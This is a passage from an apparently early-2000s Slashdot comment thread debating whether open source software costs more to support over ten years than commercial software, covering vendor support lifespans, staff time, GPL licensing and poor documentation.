    1) It is simply not the case that you will get anywhere close to 10 years support from a vendor for a particular product.

    Even enterprise level software vendors only support their software for a relatively short time span. Microsoft and Oracle are two examples of this. Neither of them support software for more than a few years and then expect that their customers upgrade to the latest version. Often at significant cost. Today 10 year lifespan for software is not realistic except for perhaps custom solutions. 5 years is even pushing it. This also assumes the company is still around. Vegas has better odds than that of a 10 year old IT product company making it.

    After the 3 to 4 year typical window the customer will probably have tohandle all support issues themselves, or upgrade.

    So while the poster assumes that costs will stay static for the commerical solution in fact they will go up over time. In addition the closed proprietary nature of the commercial solutions will often make migration that much more difficult and costly.

    This speaks to one of the other major cost saving advantages to OSS, adherence to standards. Commerical software vendors will tend to make "proprietary" changes, or roll their own to lock in customers (AKA competitive advantage), or as a result of them just being too lazy to work with community.

    2) Percentage of FTE and lack of additional costs to support commercial products. There seemed to be an idea that you can compare 1:1 the time to support the OSS solution to the money spent on commercial support. This is simply not realistic. You cannot assume that by paying vendor X $5000 dollars that you will not have any costs over an above this $5000 for supporting the system.

    Someone at the customer still has to recognize the issue, call the vendor, wait on hold, submit their question, wait for an answer, apply the patch if one exists, or implement the work around. This all takes time which all costs money.

    Not that the support process is that much different with OSS, except perhaps that the problems more often actually get fixed, rather than having to wait till service pack 12 that should address that problem, and allow you to discover the next one, which will be fixed in service pack 13. This happens all too often, and with products from major fortune 10 IT vendors with onsite support personnel. Comparable OS products simply do not have these issues for a variety of reasons too numerous to mention here.

    3) I also question the 4 hours a week effort required to stay current with the OSS product. I manage multiple open source systems in addition to my consulting work and I expend less than 4 hours a month in supporting them. This includes adding new users, applying security patches, and fixes problems in the extremely rare case they occur.

    Someone else posted that the advantage with open source is that you control your destiny. This is absolutely correct. You can install, support, change, upgrade and manage the system to your preference in a way that makes the most sense for your organization. Over the long run this will save you money as you can effectively plan you upgrade cycles around publicly available OSS information regarding new versions and features.

    The original poster should perhaps modify their assumptions based on real world experience with OSS solutions and the actual support requirements. I think they would find that overall the costs are much less for many solutions.

    A follow-up question might be a description of OSS successes and their ongoing support requirements.

  166. Missing factor? by Todd+Knarr · · Score: 2

    Did you factor in the probability that, inside that 6-year timeframe, the vendor will stop making the product you bought, stop selling support for it and leave you with the choice of using a completely unsupported product or going through a probably disruptive and expensive upgrade process (new software requires a newer version of the OS which requires newer hardware, new software brings new bugs, "features" and interactions you now have to troubleshoot, etc.)? And if you know you want to stick with old software in that situation, do you really need an FTE for the open-source software after the first 3-4 years shake the glitches out of the system?

  167. A proper response to RTFM -- the AUHDL. by Ilan+Volow · · Score: 2, Interesting

    The proper response to RTFM would be for a group of people of who genuinely care about end-users having high quality documentation creating a new type of documentation license that mandates a minimum level of quality for modification of their documentation and bars distribution or linking to of bad documentation. For example, a license like this would ban any modification of the documentation that reduced the number of diagrams to less than three (i.e. converting the document to all-text is strictly prohibted). In addition to this, the license would bar distribution or linking to of HOW-TO's. If someone like Debian distributed all-text documents, they would be barred from linking to or distributing the high-quality documentation.

    In essence, the license would be saying "We will place the RTFM'ing bastards on permanent lockout."

    I call this license the "Anti User-Hostility Documentation License".

    --
    Ergonomica Auctorita Illico!
  168. Escrow by Anonymous Coward · · Score: 0

    The way that REAL software companies protect themselves from a vendor out of business situation is source code escrow.
    If my company goes under,and the new source owner can't provide support, our (smartest) licensees have
    the right to take the source themselves to support themselves.
    You obviously can't do this for every random product you depend on, but you CAN do it for products which are the lifeblood of your company, and no alternative exists.

  169. Why there's no commercial OSS support by Anonymous Coward · · Score: 0
    And, secondly, is anyone in the business of providing commercial support and training for the entire universe of Open Source, perhaps contracting on a product-by-product basis? I guess a corollary to that question is, if not then why not? There might be a viable business model here!


    I tried; nobody seemed interested. Instead of starving to death while people took the time to figure out that open source software is better, I decided to go and get a "real" job.


    I'm now *almost* out of the debt I generated trying to start a business, and while I know it wasn't the market's fault ("Adapt or die!"), I can't help but feel a little bitter that so many people complain about the abysmal quality of Microsoft products and services, yet aren't willing to pay half the price for OSS support/training when it comes around.

  170. Google by Anonymous Coward · · Score: 0

    What about a google search appliance?

  171. Here's a Wild-Donkey Guess at a Rule of Thumb by Lucas+Membrane · · Score: 2

    One FTE can support 250K lines of code. Based on that, you can take a guess at relative cost of outside support vs doing support in-house. Then factor in the acquisition costs. Problem is that no vendor can give you a fixed price on a 10-year support contract that's worth a pitcher of warm anything. They'll be bankrupt, out-of-business, moved to a different continent, or mentally insane by then. If you are sure you need to support an app for ten years, you gotta pay the price of owning it end-to-end. If this functionality is important to you but not worth 0.1 FTE, then it's not important to you. Don't bother me with trivia. Ask us about something important, like how the new governor is gonna outsource your butts anyway.

  172. Retail is "rented" too. by unicorn · · Score: 2

    At least for Symantec. When you buy a retail copy of Norton AV, you get updates for a year. That's it. If you want to continue getting signature updates, you need to pay again.

    Technically you're right. You will still be able to run the software itself. It just won't be any use at all, since new virii pose the threats. Not year old ones, typically.

    --
    "Politicians are interested in people. Not that this is always a virtue. Fleas are interested in dogs." P.J. O'Rourke
    1. Re:Retail is "rented" too. by Anonymous Coward · · Score: 0

      It's "viruses," you twat. There's no such word as "virii."

      Any valid point you might have had in your post was destroyed by the fact that you used a made-up word.

    2. Re:Retail is "rented" too. by Robber+Baron · · Score: 2

      At least for Symantec. When you buy a retail copy of Norton AV, you get updates for a year. That's it. If you want to continue getting signature updates, you need to pay again.

      Or you can blow out all of the Symantec registry keys and reinstall!

      --

      You're using her as bait, Master!

  173. Yeah--and about that 8,000... by Anonymous Coward · · Score: 0

    I had a related thought about that $8000.00.

    I really don't know the details of how that was arrived at, but is it legitimate to assume that 10% of this individual's time would be spent on the open source product, and 0% on the commercial product?

    10% is a lot of time if you think about it, even for dealing with a project that you'd assume would cost 0% of their time for a commercial version.

    My guess is that it could be more like 5% for the open-source version, and 0% for the commerical version, or 10% for the open source version and 5% for the commercial version.

    Just because a product is commercial doesn't mean that there's 0 time spent on it. You still have to call support, explain the problem, explain it again, have the solution explained again and again, and then implement it. That's in addition to the time spent on it without calling support.

    Even if my numbers aren't completely right, the idea is still important--especially when the margin is not huge.

    Just a thought.

    1. Re:Yeah--and about that 8,000... by C0deM0nkey · · Score: 2, Informative
      Not only that, but a Civil Servant with an $80,000.00 a year salary is not going to be doing "maintenance" on ANY software. Civil Servants making $80,000 are big-wig managers...not everyday codemonkeys.

      A GS-11 is the highest (theoretically) civil servant position that does not come with a mandatory "Management" hat. When I worked for the US Governement (2 years ago), GS-11's were making right around $50K (from what I remember).

      Assuming the employee in question is a government contractor, he is probably still not making $80K. From what I've been told, goverment contracts come with a max 8% profit cap which typically means that the contracting company is going to get the cheapest labor they can find. Any attempt to get "expensive" labor will probably mean losing the contract because, unfortunately, the Government likes low bidders.

  174. old-fashioned mentality by GunFodder · · Score: 2

    I agree that it is unreasonable to expect services for free. But that does not undermine the value proposition of the GPL.

    One major problem with closed-source software vendors is that they get bought or go out of business. If you are a customer then generally you are stuck with a package of binaries that cannot be supported or upgraded. If your vendor was using open-source then you would have the option to pay someone else to maintain that code.

    Another problem is getting new features added. If a closed-source vendor doesn't want to add your feature then that is tough luck for you. If your product is open-source then you can pay someone else or some other company to add the feature.

    Open-source products give you more options because you are not tied to a particular vendor. At this time there aren't very many open-source vendors, but it seems like there is demand for commercially supported open-source software, and demand generates supply.

    1. Re:old-fashioned mentality by doomdog · · Score: 1

      I do like the part about the GPL where if you purchase software, you also have the right to the source code (and the ability to modify the code, if desired) to suit your own purposes. This provision would cover you in case the software vendor went out of business, and would also allow you to extend or customize the software for your own needs...

      Beyond that, however, I think it is absurd to allow you to take someone else's work and sell it without compensating the original author -- or even worse, give it away to an unrelated third party.

    2. Re:old-fashioned mentality by void* · · Score: 1

      Beyond that, however, I think it is absurd to allow you to take someone else's work and sell it without compensating the original author

      It's not absurd if that's what the copyright holder intended. If I want someone to be able to take my work and sell it or give it (or add to it) without compensating me , I don't see why you should think that you have a say in the matter, because it's my work

      . What you should really say, is that you don't want someone taking your work and selling it without compensating you. That's perfectly OK, just don't GPL your code, use a license that lets whoever you sell it to modify the source as long as they don't distribute it (or binaries).

      --


      Code or be coded.
    3. Re:old-fashioned mentality by doomdog · · Score: 1

      You're missing the point -- if I release something that _isn't_ under the GPL (because, for some strange reason, I feel like getting paid for my work), the open source bigots and fanatics jump all over me, whining and moaning about how much better life would be if I released my work under the GPL (so they could steal it instead of paying for it)...

      So if I release under the GPL, I don't get paid for my hard work. If I don't release under the GPL, the fanatics come out of the woodwork to decry my "proprietary" stance (and then encourage others to avoid my work because it isn't "free"). It's a lose-lose situation when dealing with open source.

    4. Re:old-fashioned mentality by doomdog · · Score: 1

      As far as the "value proposition" of the GPL (which to me, it has a value of zero -- possibly less), I think that in the future people will look back at the GPL (not necessarily open source, mind you, but the communist GPL incarnation of it), and compare it to Prohibition. This is what they'll think:

      I can't believe people were stupid enough to think it would actually work


    5. Re:old-fashioned mentality by void* · · Score: 1

      If I'm missing the point, it's because you never made it.

      Beyond that, however, I think it is absurd to allow you to take someone else's work and sell it without compensating the original author -- or even worse, give it away to an unrelated third party.

      Nowhere in that do you discuss third-parties advocating that you release your source GPL. On that score, I agree with you.. Ignore them if that's not the license you want to use. On the flip side, if they want to advocate a free solution over yours, that's their prerogative... you'd better make your product worth paying for. :)

      --


      Code or be coded.
    6. Re:old-fashioned mentality by doomdog · · Score: 1

      you'd better make your product worth paying for. :)

      This is the point of this discussion: open source / GPL fanatics think that nothing is worth paying for. Their mantra is "gimme gimme gimme"...

  175. You've Gotta Love the Irony by whterbt · · Score: 1

    The full-page ad for this story (for me) is for Visual Studio .NET. Looks like OSDN has sold out to the closed-source people! Run for the hills!

    --
    Too late to be known as Bush the First, he's sure to be known as Bush the Worst.
    1. Re:You've Gotta Love the Irony by Anonymous Coward · · Score: 0

      That's funny, I looked for a banner ad, but all I have is a little red text link that says "Ad". Proxomitron

  176. Support considerations by Anonymous Coward · · Score: 0

    When investigating support options for OSS most people don't bother looking at what exactly the support options are for commercial software. Sure, there is a company there to provide support but *what kind* of support are they offering, *how long* will they continue to do it without requiring a mandatory update, and what happens if the company goes under or decides to discontinue the product.

  177. Quantifying documentation quality by Anonymous Coward · · Score: 0

    This seems a worthy goal, though I'd venture a guess that its maybe slightly simpler than the ever elusive goal of quantifying software quality, and a bit harder than the ever popular software complexity metric. Finally, there are times when documentation of even the most excellent quality just can't do the job that a quick call/email to a real support person can do. Just another variation on the "automate" people out of jobs goal of business that has been around a long time, far longer than computers. I think you'll find little success, and thus the need of business to hire trained experts rather than just anyone off the street.

  178. for me it's cheaper alright by Pflipp · · Score: 1

    Officially, I am only allowed to run MacOS 7.1. That is, if you consider a second hand CD that came with the second hand Mac a legal source of software.

    I actually run 9.1 -- well, to boot up Debian. From there, everything is Free. I get my Internet programs for Free, my updates for Free -- hell, I even screw up my own computer for Free. And get to repair it for Free.

    Imagine me having a working Windows PC. I would have to buy all those expensive and boring 3D games just to entertain myself instead :-)

    Yeah, I know it's different for businesses. But why does that damned Ballmer always seem to think that businesses are all that important anyway?

    Uh, wait, that should be because students never spend money on software anyway. Oh, well...

    Still, getting serious again and all, it completely depends on your business' focus. If I'd start up a company (which I did), I'd use Debian for some of the company's stuff (which I didn't because we don't have, and don't need, any corporate computers). Yet, if I had to leave the maintenance to a third party, I would not force them to use something they are not all that familiar with.

    --
    "We can confirm that Debian does *not* ship the version with the trojan horse. Our version predates it." [CA-2002-28]
  179. Source code != documentation by ClosedSource · · Score: 2

    Source code includes all the information about what the program will do, but not always in the best form for humans to understand. Depending on the quality of the comments it may not include any information on design or requirements. Thus you may not be able to tell the difference between bugs and features if you only have the source.

    1. Re:Source code != documentation by mpe · · Score: 2

      Source code includes all the information about what the program will do, but not always in the best form for humans to understand. Depending on the quality of the comments it may not include any information on design or requirements. Thus you may not be able to tell the difference between bugs and features if you only have the source.

      Nor can you tell if you just have a piece of binary object code. However it is generally accepted that this is an easier task with source code, especially if you plan on making modifications.

    2. Re:Source code != documentation by Anonymous Coward · · Score: 0

      The first part is just OK "...not always in the best form for humans to understand". But the last part, you see as a drawback when indeed is an advantage!!!

      You can't tell bugs from features: that's an advantage, yesss. How many times have you seen bugs documented? (I mean, out the code itself). *If* you have the source, you have the ultimate documentation even about the bugs!!! (and the bugs are more probably the ones that will drive you nuts).

    3. Re:Source code != documentation by ClosedSource · · Score: 2

      The assumption you make is that you can tell the difference between intended behavior and a bug. In the general case that is not possible unless you have documentation that establishes what the requirements actually were. Of course, in the case of "reinventing the wheel" applications, you can usually spot a bug because you already know how things are supposed to work from your experience with similiar programs. But even in that case you're more likely to discover the bug through using the product then reading the source.

  180. Uh... by schnurble · · Score: 2
    But for the Open Source products this was not the case. Contacting the maintainers of the Open Source products and asking if anyone provided commercial support was fruitless; in one case the response was downright rude (basically a variation on RTFM) and in the other the response was more helpful, but still could not suggest anything other than being active on the mailing list.

    Er, well. Ok, yes, it's kinda rude, but it's also a reasonable expectation that you've read the manual and tried basic troubleshooting ("Is the monitor plugged in, Mrs. Jones?"). Remember, support contracts exist to save your ass when you've broken it and, though you've tried, you can't fix it. Not to hold your hand as you plug in the power on the disk array, replace the fibre-channel fiber patch that security cut with a pair of hedge clippers, or replace a smoking powersupply.

    --
    "To err is human, to forgive is simply not my policy." --root
  181. Horribly flawed analysis... by Junta · · Score: 2

    Well, for one thing, the assumption is made that commercial vendors provide support willingly that is useful. I think in many cases (especially with technologies that are hard to change out of), vendors will take every opportunity they can to hang a customer out to dry. Often, the lifetime for support for software is very very shortlived, forcing upgrades. In other cases, the 'support' provided is little more than extortion. One product demanded my company pay a 300 dollar for one incident before they would even accept a bug report. Not even a request for help, but a one-way information exchange that enhances future products. In some cases (with the really high dollar packages), the software, while expensive, is little more than opening the door to huge consulting fees. One company I worked with sells software for about 750,000 dollars per site. On average, they said they pulled in more per site in consulting fees than the original purchase price of the software. This is an extreme example, but exemplifies that commercial products do not necessarily mean good support is available at reasonable costs.

    A previous employer was using a commercial SMB provider for Solaris, rather than Samba. The product was licensed on a monthly fee and only allowed 3 connections on our license. This was not cheap and extremely annoying. I suggested a move to Samba to cut costs and get more functionality, and was denied. The reason given was that the package gave support. One day, a number of Windows systems could no longer connect. For the first time ever, we had a reason to contact support. I was on the phone, being passed from one person to the next, no person having any clue as to the problem. Finally, while on hold, I did a search through the samba mailing list and found out the cause of the problem and how to work around it client side. I then hung up, told management about my experience, and next week samba was in use and the licenses cancelled.

    The fact is, if you have a decently strong IT department with some programming knowledge anyway, they can frequently, with the help of forums, mailing lists, and IRC, provide just as good or better support than the commercial vendors and fix problems as needed without the turnaround of commercial vendors. Maybe for smaller shops that deal with less expensive software, or with software that has rare support needs, but not a complete absence of a need, commercial can win. But for *any* software company, and medium to large other companies that need good IT anyway, open source is hard to beat..

    --
    XML is like violence. If it doesn't solve the problem, use more.
  182. Tell that to Amazon by alizard · · Score: 2
    I'm sure they'd be very interested in your opinion.

    I remember seeing a recent article referenced here that says that Amazon Books attributes its newly-found semi-profitability to its decision to go Open Source.

    So, while this article may get hundreds of yelling and screaming "point of fact" replies, it seems that many companies have tried OSS software (or at least costed it) and have come to the same conclusions--in the long run, it's at least as expensive as commercial equivalents.

    Let's see some names here. WHO has tried and failed with Open Source software? Or did TCO and backed off. You anticipate people asking you for "point of fact" replies. Is there something immoral about asking "point of fact" questions? I don't think embarrassing either you or your employer is immoral.

    If you have a problem with "point of fact" questions, why didn't you provide some facts to anticipate these questions? Is it that you don't have any facts? Ever heard of Google? If you can't provide any facts, why should we respect either you or your opinion?

    You can even cite yourself as an example of Open Source failure if you like. I'm sure we'd believe you if you told us that a command line is just too hard for you. And I'd reply that perhaps if you offer IBM enough money, or a lesser sum to some of the individual training consultants around here, perhaps someone can be found with the patience to teach you Linux. It might even be cheaper for you to do this than to buy your next computer upgrade to support XP or its successor, though I can't guarantee this.

    Organizations who have gone/are going Open Source? Home Depot. Burlington Coat Factory. The government of Spain. Police departments in portions of the UK, and the consultant firm rolling out those desktops and servers has just gotten a contract from the EC to write a proposal to roll out Linux for EC governments. The people running those organizations don't seem to agree with you.

    With respect to support, ever heard of IBM? They do a lot of commercial Linux support.

    Whether or not an organization should go with Open Source depends on circumstances very specific to that organization. Your statements about Open Source are no more useful than the ones that say everyone needs to use it.

    With respect to software usability, depends on what software is available, what the software is used for and who will be using it.

    However, I am comfortable in saying that Open Source is improving in usability, ease of installation, and ease of maintenance rapidly, and as it does, it will become useful to a wider range of individuals and organizations. At the same time, it is NOT increasing rapidly with respect to required workstation resources.

    Can you say the same about Micro$hit?

  183. Maybe.. by mindstrm · · Score: 1

    in some situations. Nothing is one size fits all unless it's made out of spandex, and even then some people would disagree. And of course, just because it fits doesn't mean you should wear it.

    It may be that in the long, long run, commercial apps are cheaper... but then, that assumes you will stick with the same app and vendor year after year; it assumes that the vendor stays and the current pricing model stays. In the long term, we can see that that almost never happens.
    Vendors change; policies change; products are discontinued for one reason or another, or are only supported at an inflated cost.

    At least if it's open you have an element of control over where things are going.

  184. Support costs: Compare apples to apples by aphor · · Score: 2

    DIY != 10 year support contract

    When the commercial vendor supplies you with a quote for support, does that include access to the source code if their company folds and you get the crappy end of bankruptcy? Are they even promising to support you for 10 years? Will your change-management requirements down the road be dictated by the contract you sign with them?

    You need to be VERY careful to account for ALL the hidden costs on BOTH SIDES. For examples, look for studies that compare outsourcing to in-house development. Once you discount the costs of coming up with the architectural components, you still have to pay someone to configure, install, support, and maintain the product.

    If you throw in "community involvement" like hosting a CVS server, you can get significant (but unknowable) contributions toward the general maturity of the product for FREE. Represent this as a risk of not getting free development work in your cost model, and the chance of getting any work for free on the commercial product is equally possible to the free software, but it is probablistically insignificant.

    The vendor is going to take profit from any savings that might be realized from reusing your solution in another governmental unit. Go looking for a way to share the support costs in others' budgets! Basically, you *give* them what you have, so long as they agree to mirror the CVS server on their own hardware, and allow you to merge changes into your tree from theirs. Eventually (in maintenance phase) you will probably want to merge both projects and just have monthly conference calls about any commits/contributed patches.

    Now, are you treating your free software solution as free-as-in-beer or free-as-in-freedom? You have to understand how the commercial software vendors make money and use those techniques (wherever you can) to get savings on your own!

    --
    --- Nothing clever here: move along now...
  185. Yes but.. by mindstrm · · Score: 1

    what they do is sell you that large, expensive software, and then have huge yearly support fees that include upgrades.
    IF you decide to stick with what you 'own' and not pay anymore, you get no support, no new drivers, no bugfixes, and no upgrades.

    1. Re:Yes but.. by Twirlip+of+the+Mists · · Score: 2

      you get no support, no new drivers, no bugfixes, and no upgrades

      Those are all ongoing services, though. They're separate and distinct from software. When you buy the software, you get just that: the software. The bits themselves, along with any documentation or whatever that applies to it. If companies are cool, they can offer bug-fixes for free, but they're not under any obligation to. New features? You should expect to pay for those.

      You can't call it a temporary software license just because you have to pay for the next release.

      --

      I write in my journal
    2. Re:Yes but.. by mindstrm · · Score: 1

      Yes, absolutely, I agree.

      I guess my point was that it doesn't matter what you call it; at that level, you need ongoing service anyway.

  186. While on hold by Shamanin · · Score: 2

    ...a recitation of the man page index is be sung to the tune of "Born Free"

    --
    come on fhqwhgads
  187. The Devil is in the details by Anonymous Coward · · Score: 0
    The cost analysis is flawed. It took into account the manpower required to support OSS, but it did not take into account the manpower required to support the "supported" commercial software.

    I've been involved with software support issues for decades. Reporting problems to vendors and getting fixes involves a substantial amount of time, even with a good vendor. If you're dealing with a typical vendor, it gets a lot worse.

    In addition to the cost issue, there are problems in two other areas: quality of support and duration of support. I've found the support of much free software and much shareware to be as good or better than the support of shrink-wrap software. Further, even if you currently have good support, there is no guaranty that it will continue for a decade. If you have the source code, you can still fix problems even if the developer can't or won't.

  188. BS! - MS *has* sold timed licenses to Office by Anonymous Coward · · Score: 0

    This google cache of a CNET article reports Microsoft's announcement at Comdex Las Vegas in late 2000 -- http://216.239.33.100/search?q=cache:ExV6WkFXuR0C: news.com.com/2100-1001-248527.html%3Ftag%3Dbplst+m icrosoft+office+service+cnet&hl=en&ie=UTF- 8

    What Microsoft hasn't done (to my knowledge) is only sell timed licenses to a product. There are vendors that do that in vertical markets, however.

    1. Re:BS! - MS *has* sold timed licenses to Office by Twirlip+of+the+Mists · · Score: 2

      Did you not read my post? I already talked about this. The article you cited-- which came from 2000, by the way-- described what has since come to be called Licensing 6.0. It is possible for companies-- or individuals, I guess, but that doesn't make much sense-- to buy volume licenses for Microsoft products along with a commitment to buy upgrades on a periodic basis. In other words, if you choose (that's the key word) to agree to buy Office n+1, you can get a volume license for Office n for less money.

      These volume license packages are options for the buyer, nothing more. You can still buy Office XP or whatever at the Comp-u-hut for the retail price and get a permanent license to use it.

      --

      I write in my journal
  189. Re:Assuming it is legal to read their "open format by Terralthra · · Score: 1

    Word had the capablity of saving as .txt from day one, and nobody uses it.

    That's because the "Save as .rtf file" option is superior.

    --
    -Terralthra...
  190. The guy has a point though by Anonymous Coward · · Score: 0

    Simple project: hook up a couple dial-in lines to a computer so the employees can have free internet access. We wasted over 60 man-hours reading through obsolete How-Tos and FAQs, asking for help and getting flamed off BBSes, the blatant lies in the various man pages... Linux cannot do dial-in PPP. Period. We installed WinXP on the box and got the dial-ins working in less than 4 hours. It works. It was painless, the configuration was straightforward, and we've moved on to other things. Don't flame me for the failings of Open Source software, it ain't my fault agetty -l won't really run anything other than /bin/login, and it ain't my fault that /AutoPPP/ in mgetty doesn't work when compiled with -DAUTO_PPP, and it ain't my fault the How-Tos are hopelessly out of date (the How-To with the distro is dated '97, the FreeBSD PPP server page talks about using the new 2.0.5 release). Digging for what should be readily available information and finding only obsolete and incorrect documentation is too damned expensive. RTFM is not a valid response when the fucking manual is wrong. What really sucks for the Open Source movement is that WindozeXP is looking pretty stable. Couple that with the ability to actually call and talk to live humans in the area and get knowledgable support, I may move all the servers to it. And if there isn't soon some sanity in firewalling, (ipfwadm rulz, no, ipchains rulz, no, it sux, use iptables) that box will move to the dark side too.

    1. Re:The guy has a point though by Anonymous Coward · · Score: 1, Funny

      Fuck you man, you are not l33t.

      A true h4x0r would write his own PPP using a combination of Perl scripts piped into controller program made with the GIMP.

      All you needed to do was read the source. Any idiot can figure out how some acid tripping Berkley student implemented serial ports in 1980.

    2. Re:The guy has a point though by Anonymous Coward · · Score: 0

      If you can not setup linux for dialup ppp, then you are fucking stupid. We started using linux for ppp with only two lines; it took me about two hours (that includes requesitioning an old server that was marked to be tossed). Later they wanted to add more lines, so I took an old 16 port digi terminal server and a bunch of old modems and made an eight line dialup for the company; total time eight hours (that includes driving around to buy used external modems). In all, my company spent $120 + my time to setup what would have cost a couple of thousand dollars + my time to do "right".

    3. Re:The guy has a point though by gibbsjoh · · Score: 1

      He's right, you know.
      It can be very frustrating dealing with just the sort of out-of-date docs and things when trying to get work done with _some_ OS software.
      I'm not an expert in programming/compiling/debugging/whatever, but _shouldn't have to be_ to get it to work.
      Why do so many people get all riled up when someone who didn't graduate Summa Cum Laude in Comp. Sci. finds something a bit difficult?
      Just my $0.02.

      --
      -- "...I'm a bad guy because I, well, I sing some rock-and-roll songs." M. Manson
    4. Re:The guy has a point though by Anonymous Coward · · Score: 0

      I'm not a cardiac surgery expert, but _shouldn't have to be_ to get that transplant done.

      Why do so many people get all riled up when someone who didn't graduate Summa Cum Laude in Med. and Surg. finds something a bit difficult?

      EXPLANATION: The former poster found impossible to stablish a PPP connection with some free *nix, so:
      1/ He spent the time to try
      2/ He bougth a Windows XP license
      3/ He installed and configured (spending more time)

      now, he is glad (whilst he is probably ignoring if he really did it the right way or is he going to be hacked and more money is to be expended on this issue).

      Now, he could easily rent some contractor so:
      1/ Rent
      2/ Pay
      3/ Forget

      I bet this second approach would be overall cheaper.

      The *real* question is that Open Source is a matter *of programmers, for programmers by programmers*. FULL STOP. They, not being experts, tried the "Open Source Way" because their egotistic dellusion that it was going to be "free as in free beer". No: it is not. It is "free as in free speech". That means *as a side effect* that it becomes cheaper *when in proper hands*.

      Surely the first poster would find cheaper and more adequate an open source solution for his problem *if* there already were a sounded programmer within the team (it would have been cheaper, since the programmer is already paid and since he is constantly in countact with the software it would be cheaper -continously reviewed programs end up needing less maintenance and on proper times, not when the house is on fire, and he could be as most guaranteed as it can be about resources being there for the next 10 years).

    5. Re:The guy has a point though by Anonymous Coward · · Score: 0

      Almost right. I can't think of a vendor right off the top (although I've not dabbled in seriously high-end IT goods in a while) that will even think about supporting an 8 or 10 year old product. In fact I've been on projects where the OS and other products a project was built on were being completely dropped from support - I was a consultant brought in to bring the code up to more 'modern' versions of everything.
      Any company that you call and ask about how to get a 10-year support contract on something is probably going to sell you something interesting. It might actually work out for a few years. Then they get a few releases under their belt and you end up realizing that they were blowing sunshine up your ass and their stock answer to 'This is broken!' is: Upgrade. Oh yeah, that'll be a fee of $$$ for the new version.
      I wonder if there isn't a market for a company to employ a stable of competent engineers to support projects like this one - with a commitment to long-term support of open source products.. That would at least add an important check-box filler for gov't stuff like this. Unless there are already bunches of these out there and this guy didn't know it..?

      Next question: How long before Micro$oft is using this post in their never-ending quest to show a lower TCO than something they can't possibly compete with...

  191. Ok, what about...... by Stumbles · · Score: 1

    You did not mention licensing costs for the commercail versions. More than likely the closed source versions run only on MS. That adds another side to the cost factor you did not consider.

    Not to mention forced upgrades of the MS OS/search engine. And as most know, each incarnation of Win(whatever) almost always will require more powerfull hardware. Which is something else you did not mention. With open source (Linux) you have way more flexibility in the choice of hardware you want to use.

    Over all I find your analysis incomplete and one sided.

    --
    My karma is not a Chameleon.
  192. Re:Thank you by Anonymous Coward · · Score: 0

    12 months old?

    I see they start early these days.

  193. Tools are just that, tools. by Flamesplash · · Score: 1

    OSs, compilers, languages etc.... are simply tools. Use the best tool or combination of tools for what you need to do.

    --
    "Not knowing when the dawn will come, I open every door." - Emily Dickinson
  194. My experiences with both open and closed source... by dooglio · · Score: 2, Interesting

    Sometimes going with a closed source vendor can work out great--the last company I worked for bought a proprietary library. We found that their WinNT port was very buggy, so we sent two developers down to their labs and they worked through the source code until they had a fix. Then the vendor gave us a discount because we helped them out.

    Othertimes, it doesn't work out so well. Back in 1997 I worked for a company which used a third party, closed source library to decode maps. The vendor stopped supporting the libraries (in fact, I think they went out of business), and we couldn't port our software from Win16 to Win32. It was a real road block. Had we used an open source library, we could have ported the code ourselves.

    Presently, I'm working for a company which is using an open source component. We have spent a lot of time debugging the component, since the author no longer supports it. I'm sure we have spent way more than we would have if we had bought a closed source component, but our OS component happens to behave in a way we need and has functionality we couldn't find in other off-the-shelf products.

    The long and short of it? Going open source offers flexibility but also may cost you more in development time. The nice thing, though, is that you have access to the code and you can make changes and make ports if necessary.

  195. For search engine stuff by Anonymous Coward · · Score: 0

    contact http://www.avaquest.com. They're very experienced and know what they're doing.

  196. It depends.... by jelle · · Score: 2

    See title... It depends on the situation and the tool. And you dont really know unless you buy, install, deploy, and execute both options.

    In your example, the commercial support would still require capacity from your IT staff. Even if it were just for explaining what is wrong and convincing that it is their fault and not yours or somebody elses and telling them to fix it. Commercial support does not mean zero effort on your side.

    Cost calculations can be done in many different ways (economics 101). Each of them is wrong, but some more than others. That is why determining the cheapest way to do things is very hard.

    There are other things at stake too: what if the company folds or sunsets the product? What if the support is not what they promised? What if they blame your urgent problem on you or a third party? What if they say they can't find the solution and want to give you a refund of that steeply discounted support contract?

    With open source, there are ways out for each of those situations. With closed source sometimes too, but not always and often they are very costly.

    In the end, not only cashflow but also features, reliability and availability are often 'veto'-level factors for deciding between different options anyway. That is independent from which product is open source or not. Whether or not it is open source can only influence those factors, but in itself is not a deciding factor. Weigh the factors and decide never choose blindly or say things like 'open source is more expensive in the long run' or the contra, because it depends...

    --
    --- Hindsight is 20/20, but walking backwards is not the answer.
  197. You're not amortizing correctly by gelfling · · Score: 2

    You need to use OSS that in fact IS supported as OSS. If you take a piece of OSS and ignore whatever the fuck is going on in the real world then it will in fact cost more to support. But if you use a piece of 'common' OSS that is generally recognized as supportable then it will be cheaper.

    The other critical success factor is your patch strategy. If you, because it is OSS simply run out and churn through every patch that is available then you are wasting your time and money because vendors don't do this to their SW either. YOU REALLY to implement change management/version control.

  198. It's like mutual funds by Anonymous Coward · · Score: 0

    There are "load" and "no load" funds. The "load" funds have a percentage charge (like a sales commission) that you pay when you buy or sell. The "no load" funds have no such charge. The people who sell "load" funds will tell you that their product outperforms the "no load" funds, even after the charges are paid. The "no load" fund people would disagree. In reality, the "load" fund might outperform the "no load", but it will have to overcome the effect of the "load" in order to do so.

    Can commercial software beat Open Source on TCO? Only if it can somehow beat the built-in disadvantage of license fees. It's possible, but I'm highly skeptical. The software industry is well-known for excessive salesmanship, bogus comparisons, and "vaporware".

    Open source is the clear winner where I work because our capital appropriation process is such that we can't buy much of anything without thousands of dollars worth of discussion and paperwork.

  199. the cost? by jbeamon · · Score: 2, Informative

    "Estimating this at one tenth of an FTE and that FTE at a low $80,000 per year resolved to $8,000 per year. "

    Where are these $80,000 full-time jobs working with open source software support? I've never made close to that. The one person I know personally (granted, I don't live somewhere it costs $40K to rent an apartment) who's made that kind of cheese did it working on some proprietary stuff. Nobody I know is required to support "the universe of open source software". We support a list like apache+mysql+proftpd+qmail or so. Other stuff is supported on an as-needed basis, but I'm not an expert in more than three or four of these products.

    The scope and price of this whole things is just unheard of. I'm not saying the conclusion or the premise were totally off base, but the scope is just not practical. I don't know anyone who's an expert on the universe of proprietary software, either, so I don't look for one catch-all expert on OSS.

    --
    -j
  200. The Black Helicopters... by Anonymous Coward · · Score: 0

    ...will be visiting you shortly. Keep your hands where we can see them. We have a holding pen waiting for you in Gitmo, you terrorist!

  201. True by Alomex · · Score: 2



    This has been my personal experience too. Generally if I need a new package installed on either a Windows server or a Linux box, I have the package on Windows running a few minutes after I inserted the CD. With Linux I'm still changing permissions and looking up mailing lists a good four hours after I started.

    This doesn't have to be this way. But for some reason OSS seems to atract RTFM types as developers.

    1. Re:True by lightweave · · Score: 1

